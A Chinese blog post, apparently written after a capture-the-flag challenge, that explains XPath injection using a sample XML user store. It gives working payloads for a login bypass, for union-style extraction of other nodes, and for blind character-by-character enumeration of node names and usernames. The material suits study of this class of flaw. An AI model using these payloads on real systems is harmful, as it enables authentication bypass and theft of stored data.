zoukankan      html  css  js  c++  java
  • XPATH注入

    刷题的时候碰到一道xpath注入的题目,完善一下概念

    XPATH注入

    xpath注入与sql注入本质上都差不多,都是通过闭合来实现对于数据的查找,xpath注入要遵守xpath语法。

    <?xml version="1.0" encoding="UTF-8"?>
    <root>
        <users>
            <user>
                <id>1</id>
                <username>admin</username>
                <password type="md5">0192023a7bbd73250516f069df18b500</password>
            </user>
            <user>
                <id>2</id>
                <username>jack</username>
                <password type="md5">1d6c1e168e362bc0092f247399003a88</password>
            </user>
            <user>
                <id>3</id>
                <username>tony</username>
                <password type="md5">cc20f43c8c24dbc0b2539489b113277a</password>
            </user>
        </users>
        <secret>
            <flag>flag{My_f1rst_xp4th_iNjecti0n}</flag>
        </secret>
    </root>  
    

    对用户进行查询调取的xpath语法是/root/users/user以及[username/text()='$name' and password/text()='$pwd']这两部分。

    当我们的$name为' or '1时,此时闭合后就相当于/root/users/user[username/text()='' or 1=1 or '1' and password/text()=' ']
    完成了像万能密码一样的闭合。

    但如果我们想要再其他的节点获取我们想要的信息的话,我们需要将这段查询语句完整的闭合。

    查找其他节点例如secret:

    admin'] | //secret | //*['

    这样闭合后就是:
    /root/users/user[username/text()=''] | //secret | //*['' and password/text()=' ']

    这样我们的or语句就执行了其他的xpath命令。

    当然利用|//*|列出全部的元素也是可以的

    另外关于xpath语法挺简单的,可以去了解一下,对于做爬虫很有帮助。

    遍历XML文档

    判断根下节点数:
    payload:
    name=1' or count(/*)=1 or '1'='1&pwd=fake

    猜解第一级节点:
    payload:
    1' or substring(name(/*[position()=1]),1,1)='r' or '1'='1&pwd=fake
    1' or substring(name(/*[position()=1]),2,1)='o' or '1'='1&pwd=fake.....

    判断root的下一级节点数:
    payload:
    1' or count(/root/*)=2 or '1'='1&pwd=fake

    猜解root的下一级节点:
    payload:
    1' or substring(name(/root/*[position()=1]),1,1)='u' or '1'='1&pwd=fake
    1' or substring(name(/root/*[position()=2]),1,1)='s' or '1'='1&pwd=fake

    猜解id为1的user节点下的username值:
    payload:
    1' or substring(/root/users/user[id=1]/username,1,1)='a' or '1'='1&pwd=fake

  • 相关阅读:
    在cnBlogs上使用MarsEdit发blog
    如何将netbeans生成的项目文件打包发布到其他的Tomcat服务器上?
    Android activity中单击返回键或home键彻底退出应用
    C语言基础之自增自减运算符及注意事项
    [给自己扫盲]名词解释——LAMP、MEAN、Web应用框架等
    第一个Mac程序——倒计时v1&v2
    iOS开发 Swift开发数独游戏(二)数独题目的生成
    解决ADT大量出现"Unexpected value from nativeGetEnabledTags: 0"的问题
    C语言基础之指针
    [给自己扫盲]Node.js 究竟是什么?
  • 原文地址:https://www.cnblogs.com/ophxc/p/13361924.html
Copyright © 2011-2022 走看看